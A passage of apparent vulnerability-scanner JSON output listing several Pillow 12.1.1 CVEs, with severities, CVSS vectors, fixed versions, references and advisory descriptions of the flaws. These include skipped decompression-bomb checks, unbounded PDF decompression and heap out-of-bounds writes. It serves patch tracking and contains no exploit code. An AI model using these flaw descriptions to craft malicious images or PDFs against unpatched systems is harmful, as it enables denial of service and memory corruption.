"https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst", "https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-5x94-69rx-g8h2", "https://linux.oracle.com/cve/CVE-2026-54060.html", "https://linux.oracle.com/errata/ELSA-2026-39127.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-54060", "https://ubuntu.com/security/notices/USN-8999-1", "https://www.cve.org/CVERecord?id=CVE-2026-54060" ], "PublishedDate": "2026-07-06T19:17:08.27Z", "LastModifiedDate": "2026-10-25T20:10:00.147Z" }, { "VulnerabilityID": "CVE-2026-55379", "VendorIDs": [ "GHSA-45hq-cxwh-f6vc" ], "PkgName": "pillow", "PkgPath": "venv/lib/python3.12/site-packages/pillow-12.1.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.1.1", "UID": "1a965fc9423ebd5c" }, "InstalledVersion": "12.1.1", "FixedVersion": "12.3.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-55379", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:2258cf858eeca033eac6d446841e37880508d092a36893460ed3ffe47c398c97", "Title": "python-pillow: Pillow: Denial of Service via crafted BDF font file", "Description": "Pillow is a Python imaging library. Prior to 12.3.0, PIL/BdfFontFile.py bdf_char() read the BBX width and height field from a BDF font file and passed attacker-controlled dimensions to Image.new() without calling Image._decompression_bomb_check(), bypassing Pillow's documented decompression bomb protection and allowing excessive memory allocation. This issue is fixed in version 12.3.0.", "Severity": "HIGH", "CweIDs": [ "CWE-789" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 3, "ghsa": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:39127", "https://access.redhat.com/security/cve/CVE-2026-55379", "https://advisory.echohq.com/cve/CVE-2026-55379", "https://bugzilla.redhat.com/2497452", "https://bugzilla.redhat.com/2497455", "https://bugzilla.redhat.com/2497464", "https://bugzilla.redhat.com/2497466", "https://bugzilla.redhat.com/show_bug.cgi?id=2497452", "https://bugzilla.redhat.com/show_bug.cgi?id=2497455", "https://bugzilla.redhat.com/show_bug.cgi?id=2497464", "https://bugzilla.redhat.com/show_bug.cgi?id=2497466", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-54059", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-54060", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-55379", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-55380", "https://errata.almalinux.org/8/ALSA-2026-39127.html", "https://errata.rockylinux.org/RLSA-2026:39127", "https://github.com/advisories/GHSA-45hq-cxwh-f6vc", "https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2255.yaml", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst", "https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-45hq-cxwh-f6vc", "https://linux.oracle.com/cve/CVE-2026-55379.html", "https://linux.oracle.com/errata/ELSA-2026-39127.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-55379", "https://ubuntu.com/security/notices/USN-8999-1", "https://www.cve.org/CVERecord?id=CVE-2026-55379" ], "PublishedDate": "2026-07-06T19:17:08.577Z", "LastModifiedDate": "2026-10-25T20:10:00.147Z" }, { "VulnerabilityID": "CVE-2026-55380", "VendorIDs": [ "GHSA-phj9-mv4w-65pm" ], "PkgName": "pillow", "PkgPath": "venv/lib/python3.12/site-packages/pillow-12.1.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.1.1", "UID": "1a965fc9423ebd5c" }, "InstalledVersion": "12.1.1", "FixedVersion": "12.3.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-55380", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:b38d9e48545b9170866ccdc06b87038b418d0131c431362840e89aa38a775a96", "Title": "python-pillow: Pillow: Denial of Service via crafted GD 2.x image file", "Description": "Pillow is a Python imaging library. Prior to 12.3.0, PIL/GdImageFile.py GdImageFile._open() read image dimensions from the GD 2.x header and stored them in self._size without calling Image._decompression_bomb_check(), allowing a crafted .gd file to trigger excessive C-heap allocation when loaded. This issue is fixed in version 12.3.0.", "Severity": "HIGH", "CweIDs": [ "CWE-789" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 3, "ghsa": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:39127", "https://access.redhat.com/security/cve/CVE-2026-55380", "https://advisory.echohq.com/cve/CVE-2026-55380", "https://bugzilla.redhat.com/2497452", "https://bugzilla.redhat.com/2497455", "https://bugzilla.redhat.com/2497464", "https://bugzilla.redhat.com/2497466", "https://bugzilla.redhat.com/show_bug.cgi?id=2497452", "https://bugzilla.redhat.com/show_bug.cgi?id=2497455", "https://bugzilla.redhat.com/show_bug.cgi?id=2497464", "https://bugzilla.redhat.com/show_bug.cgi?id=2497466", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-54059", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-54060", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-55379", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-55380", "https://errata.almalinux.org/8/ALSA-2026-39127.html", "https://errata.rockylinux.org/RLSA-2026:39127", "https://github.com/advisories/GHSA-phj9-mv4w-65pm", "https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2256.yaml", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst", "https://github.com/python-pillow/Pillow/commit/f39b0ae6624eb2d7c5c5d651d9bb5fdbd96a8675", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-phj9-mv4w-65pm", "https://linux.oracle.com/cve/CVE-2026-55380.html", "https://linux.oracle.com/errata/ELSA-2026-39127.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-55380", "https://ubuntu.com/security/notices/USN-8999-1", "https://www.cve.org/CVERecord?id=CVE-2026-55380" ], "PublishedDate": "2026-07-06T19:17:08.703Z", "LastModifiedDate": "2026-10-25T20:10:00.147Z" }, { "VulnerabilityID": "CVE-2026-59197", "VendorIDs": [ "GHSA-xj96-63gp-2gmr" ], "PkgName": "pillow", "PkgPath": "venv/lib/python3.12/site-packages/pillow-12.1.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.1.1", "UID": "1a965fc9423ebd5c" }, "InstalledVersion": "12.1.1", "FixedVersion": "12.3.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-59197", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:728eb51b32c25ba92b096f5ff4b94bf88da0228959c34ae67ac329db9ed4254e", "Title": "Pillow: Pillow: Native heap out-of-bounds write", "Description": "Pillow is a Python imaging library. Prior to 12.3.0, Pillow's public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size because ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation and ImagingExpand() computes output dimensions with unchecked signed int arithmetic. This issue is fixed in version 12.3.0.", "Severity": "HIGH", "CweIDs": [ "CWE-190", "CWE-787" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 3, "ghsa": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H", "V3Score": 8.2 }, "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H", "V3Score": 8.2 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H", "V3Score": 8.2 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:48021", "https://access.redhat.com/security/cve/CVE-2026-59197", "https://advisory.echohq.com/cve/CVE-2026-59197", "https://bugzilla.redhat.com/2500043", "https://bugzilla.redhat.com/2500057", "https://bugzilla.redhat.com/show_bug.cgi?id=2500043", "https://bugzilla.redhat.com/show_bug.cgi?id=2500057", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-54058", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59197", "https://errata.almalinux.org/8/ALSA-2026-48021.html", "https://errata.rockylinux.org/RLSA-2026:48021", "https://github.com/advisories/GHSA-xj96-63gp-2gmr", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/cce3bdb867c77a3420261ed1bfdb6b0787ec8fc1", "https://github.com/python-pillow/Pillow/pull/9695", "https://github.com/python-pillow/Pillow/releases/tag/12.3.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-xj96-63gp-2gmr", "https://linux.oracle.com/cve/CVE-2026-59197.html", "https://linux.oracle.com/errata/ELSA-2026-48021.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-59197", "https://ubuntu.com/security/notices/USN-8999-1", "https://www.cve.org/CVERecord?id=CVE-2026-59197" ], "PublishedDate": "2026-07-14T17:17:14.487Z", "LastModifiedDate": "2026-10-24T21:10:00.13Z" }, { "VulnerabilityID": "CVE-2026-59199", "VendorIDs": [ "GHSA-6r8x-57c9-28j4" ], "PkgName": "pillow", "PkgPath": "venv/lib/python3.12/site-packages/pillow-12.1.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.1.1", "UID": "1a965fc9423ebd5c" }, "InstalledVersion": "12.1.1", "FixedVersion": "12.3.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-59199", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:bcf2c12a96142b514e4a4824ae9ec1aa948a51cd543d8b0b891a96d3d2d64132", "Title": "Pillow: Pillow: Denial of Service via out-of-bounds write in image processing", "Description": "Pillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0.", "Severity": "HIGH", "CweIDs": [ "CWE-190", "CWE-787" ], "VendorSeverity": { "amazon": 3, "bitnami": 3, "ghsa": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-59199", "https://advisory.echohq.com/cve/CVE-2026-59199", "https://github.com/advisories/GHSA-6r8x-57c9-28j4", "https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3451.yaml", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/ceefc348eb3c3844c7f9796ef2cc3a7dd5fbba7b", "https://github.com/python-pillow/Pillow/pull/9703", "https://github.com/python-pillow/Pillow/releases/tag/12.3.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-6r8x-57c9-28j4", "https://nvd.nist.gov/vuln/detail/CVE-2026-59199", "https://ubuntu.com/security/notices/USN-8999-1", "https://www.cve.org/CVERecord?id=CVE-2026-59199" ], "PublishedDate": "2026-07-14T16:17:01.937Z", "LastModifiedDate": "2026-10-24T21:10:00.13Z" }, { "VulnerabilityID": "CVE-2026-59200", "VendorIDs": [ "GHSA-jjj6-mw9f-p565" ], "PkgName": "pillow", "PkgPath": "venv/lib/python3.12/site-packages/pillow-12.1.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.1.1", "UID": "1a965fc9423ebd5c" }, "InstalledVersion": "12.1.1", "FixedVersion": "12.3.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-59200", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:83a5e3a62b6cbdf485eb519ce86f03d32265488aab512e106c6d8c2406270a90", "Title": "Pillow: Pillow: Denial of service via crafted PDF stream", "Description": "Pillow is a Python imaging library. From 5.1.0 until 12.3.0, PdfParser.PdfStream.decode() in PIL/PdfParser.py calls zlib.decompress() with bufsize set to the PDF stream Length field without bounding the decompressed output size, allowing a crafted FlateDecode PDF stream to exhaust memory from a small file. This issue is fixed in version 12.3.0.", "Severity": "HIGH", "CweIDs": [ "CWE-400", "CWE-770" ], "VendorSeverity": { "amazon": 3, "bitnami": 3, "ghsa": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-59200", "https://advisory.echohq.com/cve/CVE-2026-59200", "https://github.com/advisories/GHSA-jjj6-mw9f-p565", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/f7a31ea75e460e108c37126da1f47812f21f6b09", "https://github.com/python-pillow/Pillow/pull/9718", "https://github.com/python-pillow/Pillow/releases/tag/12.3.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-jjj6-mw9f-p565", "https://nvd.nist.gov/vuln/detail/CVE-2026-59200", "https://ubuntu.com/security/notices/USN-8999-1", "https://www.cve.org/CVERecord?id=CVE-2026-59200" ], "PublishedDate": "2026-07-14T17:17:14.62Z", "LastModifiedDate": "2026-10-24T21:10:00.13Z" }, { "VulnerabilityID": "CVE-2026-59204", "VendorIDs": [ "GHSA-vjc4-5qp5-m44j" ], "PkgName": "pillow", "PkgPath": "venv/lib/python3.12/site-packages/pillow-12.1.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.1.1", "UID": "1a965fc9423ebd5c" }, "InstalledVersion": "12.1.1", "FixedVersion": "12.3.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-59204", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:bd64efb3a5a631e183f0058cd52155b4629b4a15766870383bd52b4337219b1d", "Title": "Pillow: Pillow: Denial of Service via crafted JPEG2000 image", "Description": "Pillow is a Python imaging library. From 8.2.0 through 12.2.0, src/libImaging/Jpeg2KDecode.c accumulates total_component_width across every tile in a JPEG2000 image instead of recomputing it per tile, allowing a crafted tiled JPEG2000 file to force substantially higher transient memory usage and trigger out-of-memory failures during decoding. This issue is fixed in version 12.3.0.", "Severity": "HIGH", "CweIDs": [ "CWE-789", "CWE-770" ], "VendorSeverity": { "amazon": 3, "bitnami": 3, "ghsa": 3, "nvd": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-59204", "https://advisory.echohq.com/cve/CVE-2026-59204", "https://github.com/advisories/GHSA-vjc4-5qp5-m44j", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/13ada41172142f2fd9f0906f615a00ea623a11ca", "https://github.com/python-pillow/Pillow/pull/9704", "https://github.com/python-pillow/Pillow/releases/tag/12.3.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-vjc4-5qp5-m44j", "https://nvd.nist.gov/vuln/detail/CVE-2026-59204", "https://ubuntu.com/security/notices/USN-8999-1", "https://www.cve.org/CVERecord?id=CVE-2026-59204" ], "PublishedDate": "2026-07-14T16:17:02.227Z", "LastModifiedDate": "2026-10-24T21:10:00.13Z" }, { "VulnerabilityID": "CVE-2026-59205", "VendorIDs": [ "GHSA-9hw9-ch79-4vh6" ], "PkgName": "pillow", "PkgPath": "venv/lib/python3.12/site-packages/pillow-12.1.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.1.1", "UID": "1a965fc9423ebd5c" }, "InstalledVersion": "12.1.1", "FixedVersion": "12.3.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-59205", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:d88bd76933af4d42d115279b8b2922317cfdf4f7fdd05783047729d9b1bc57c1", "Title": "Pillow: Pillow: Controlled native heap corruption in ImageCms.ImageCmsTransform.apply API", "Description": "Pillow is a Python imaging library. Prior to 12.3.0, Pillow's ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode. This issue is fixed in version 12.3.0.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "amazon": 3, "bitnami": 3, "ghsa": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-59205", "https://advisory.echohq.com/cve/CVE-2026-59205", "https://github.com/advisories/GHSA-9hw9-ch79-4vh6", "https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3453.yaml", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/a9ffc42bedf4fc0a7ef8d6486e7f9e81e3397721", "https://github.com/python-pillow/Pillow/pull/9715", "https://github.com/python-pillow/Pillow/releases/tag/12.3.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-9hw9-ch79-4vh6", "https://nvd.nist.gov/vuln/detail/CVE-2026-59205", "https://ubuntu.com/security/notices/USN-8999-1", "https://www.cve.org/CVERecord?id=CVE-2026-59205" ], "PublishedDate": "2026-07-14T16:17:02.37Z", "LastModifiedDate": "2026-10-24T21:10:00.13Z" }, { "VulnerabilityID": "CVE-2026-96637", "VendorIDs": [ "GHSA-g842-9rc4-69pw" ], "PkgName": "pillow", "PkgPath": "venv/lib/python3.12/site-packages/pillow-12.1.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.1.1", "UID": "1a965fc9423ebd5c" }, "InstalledVersion": "12.1.1", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-96637", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:eba13a6c2d6963af56b5c0f1744629ba60d30fe0ea9ce2a6c00516b3c76ec701", "Title": "pillow: pillow: Denial of Service via decompression bomb bypass in SPIDER images", "Description": "Pillow is a Python imaging library. Prior to 13.0.0, SpiderImageFile.seek() in src/PIL/SpiderImagePlugin.py reparses a later SPIDER stack frame and replaces self._size without rerunning Image._decompression_bomb_check(). A tiny file can use a safe first frame to pass Image.open() and then declare very large dimensions in a later mode F frame. Loading that frame allocates approximately four bytes per attacker-declared pixel and can consume multiple gigabytes of memory. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-400", "CWE-409" ], "VendorSeverity": { "bitnami": 3, "ghsa": 3, "nvd": 2, "redhat": 2, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 7.1 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 7.1 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "V3Score": 6.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "V3Score": 6.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-96637", "https://advisory.echohq.com/cve/CVE-2026-96637", "https://getsafety.com/v/SFTY-20261022-38655/52d", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/7cb0e02389d8aac2a60896a490f572db0b07b841", "https://github.com/python-pillow/Pillow/pull/10076", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-g842-9rc4-69pw", "https://nvd.nist.gov/vuln/detail/CVE-2026-96637", "https://www.cve.org/CVERecord?id=CVE-2026-96637" ], "PublishedDate": "2026-10-21T21:20:31.927Z", "LastModifiedDate": "2026-10-27T14:24:56.513Z" }, { "VulnerabilityID": "CVE-2026-96640", "VendorIDs": [ "GHSA-mrfp-p49p-3hf2" ], "PkgName": "pillow", "PkgPath": "venv/lib/python3.12/site-packages/pillow-12.1.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.1.1", "UID": "1a965fc9423ebd5c" }, "InstalledVersion": "12.1.1", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-96640", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:350541ca89b75b9e9d0b1d4687606cb922d241ccd54f79eb36711718fda6f3bd", "Title": "pillow: pillow: Denial of Service via duplicate page references in PDF files", "Description": "Pillow is a Python imaging library. From 5.1.0 until 13.0.0, PdfParser.linearize_page_tree() in src/PIL/PdfParser.py treats a PDF /Pages graph as a tree without tracking duplicate indirect references. When Image.save(..., format=\"PDF\", append=True) processes an attacker-controlled existing PDF whose /Kids arrays repeatedly reference the same child /Pages node, Pillow expands the shared subtree as distinct pages. A compact malformed PDF can therefore create exponentially many page references and consume disproportionate CPU before the append completes. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-400", "CWE-407" ], "VendorSeverity": { "alma": 3, "bitnami": 3, "ghsa": 3, "nvd": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.2 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.2 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:92639", "https://access.redhat.com/security/cve/CVE-2026-96640", "https://advisory.echohq.com/cve/CVE-2026-96640", "https://bugzilla.redhat.com/2555851", "https://bugzilla.redhat.com/2555859", "https://bugzilla.redhat.com/2555866", "https://bugzilla.redhat.com/2555868", "https://bugzilla.redhat.com/2555873", "https://bugzilla.redhat.com/2555875", "https://bugzilla.redhat.com/2555879", "https://bugzilla.redhat.com/2556322", "https://bugzilla.redhat.com/2558576", "https://bugzilla.redhat.com/2559393", "https://bugzilla.redhat.com/show_bug.cgi?id=2555851", "https://bugzilla.redhat.com/show_bug.cgi?id=2555859", "https://bugzilla.redhat.com/show_bug.cgi?id=2555866", "https://bugzilla.redhat.com/show_bug.cgi?id=2555868", "https://bugzilla.redhat.com/show_bug.cgi?id=2555873", "https://bugzilla.redhat.com/show_bug.cgi?id=2555875", "https://bugzilla.redhat.com/show_bug.cgi?id=2555879", "https://bugzilla.redhat.com/show_bug.cgi?id=2556322", "https://bugzilla.redhat.com/show_bug.cgi?id=2558576", "https://bugzilla.redhat.com/show_bug.cgi?id=2559393", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112391", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112397", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112405", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112406", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112892", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112894", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112895", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-96640", "https://errata.almalinux.org/8/ALSA-2026-92639.html", "https://errata.rockylinux.org/RLSA-2026:92639", "https://github.com/advisories/GHSA-mrfp-p49p-3hf2", "https://github.com/python-pillow/Pillow", 